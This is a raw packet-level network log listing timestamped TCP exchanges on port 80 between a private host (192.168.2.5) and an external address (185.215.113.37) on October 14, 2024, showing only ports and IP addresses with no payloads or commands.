Oct 14, 2024 13:08:26.629676104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629690886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.629714966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.629723072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629734039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629744053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629767895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.629770994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629781961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629791021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629801989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629813910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.629846096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.629867077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629877090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629887104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.629908085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.629926920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630327940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630337000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630366087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630373955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630417109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630450964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630462885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630486012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630520105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630572081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630582094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630609035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630618095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630628109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630636930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630646944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630656958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630661011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630666971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630676031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630683899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630686045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630707979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630724907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630728960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630758047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630767107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630788088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630825043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630839109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630848885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630877972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630878925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630888939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630898952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.630909920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.630953074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.670949936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.670978069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.670986891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671041965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671076059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671087980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671098948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671109915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671118975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671133041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671169996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671225071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671236038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671247959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671269894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671276093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671281099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671288967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671299934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671312094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671320915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671325922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671361923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671366930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671374083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671418905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671554089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671565056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671587944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671598911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671607971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671610117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671621084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671636105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671664000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671708107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671717882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671729088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671740055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671749115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671750069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671778917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671806097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671829939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671839952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671850920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671859980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671864986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671871901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671888113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671926022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671941996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671952963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671962976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671972990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671983004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.671984911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.671997070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672010899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.672024965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.672033072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672043085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672060966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.672070980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672081947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672087908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.672127008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.672746897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672756910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672775984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672792912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672804117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672815084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672837973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.672842026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672852993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.672883987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.672904015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711337090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711388111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711395979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711400032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711406946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711416960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711426973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711431980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711497068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711509943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711519003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711527109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711545944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711565018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711566925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711579084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711580038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711587906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711597919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711606979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711622000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711622953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711652040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711653948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711661100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711672068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711709976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711716890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711724997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711734056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711741924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.711752892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.711791992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.718554020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718564987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718574047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718611002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.718646049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718656063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718657017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.718664885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718674898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718707085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.718741894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.718900919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718910933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718919039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718928099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718936920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718943119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.718945980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718955040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718975067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.718978882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718988895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.718997002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719000101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719006062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719028950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719059944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719100952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719110012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719118118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719173908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719213009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719254971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719293118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719301939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719326973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719336033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719342947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719345093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719393015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719435930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719448090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719458103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719506979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719512939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719522953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719532013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719541073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719551086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719551086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719593048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719654083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719723940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719733000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719760895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719783068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719793081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719794035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719806910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719825983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719829082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.719835043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.719870090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760193110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760205030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760229111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760237932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760246992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760257959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760267973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760277987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760304928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760370970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760380983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760381937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760390997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760401011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760411978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760412931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760435104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760464907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760639906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760651112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760675907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760685921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760689974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760699034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760731936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760740042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760751009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760761023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760783911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760804892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760862112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760873079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760883093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760893106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760902882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760907888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760914087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760926008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760951042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760970116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.760984898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.760994911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761006117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761015892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761024952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.761025906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761037111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761064053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.761084080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.761187077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761197090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761208057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761218071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761229038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761235952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.761240005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761250019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761260033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761276007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.761301041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.761714935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761749983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761760950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761787891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.761815071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.761907101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761918068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761926889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761936903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.761957884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.761992931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.801599979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801613092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801619053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801626921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801646948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801662922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801672935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801681995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801691055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801701069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801717043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.801753044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.801765919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801775932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801788092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801799059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801809072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801810980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.801819086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801827908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801841021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.801853895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801866055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.801889896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.801969051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801980019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.801991940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.802000046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.802025080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:26.807655096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807677984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807687998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:26.807758093 CEST	49704	80	192.168.2.5	185.215.113.37
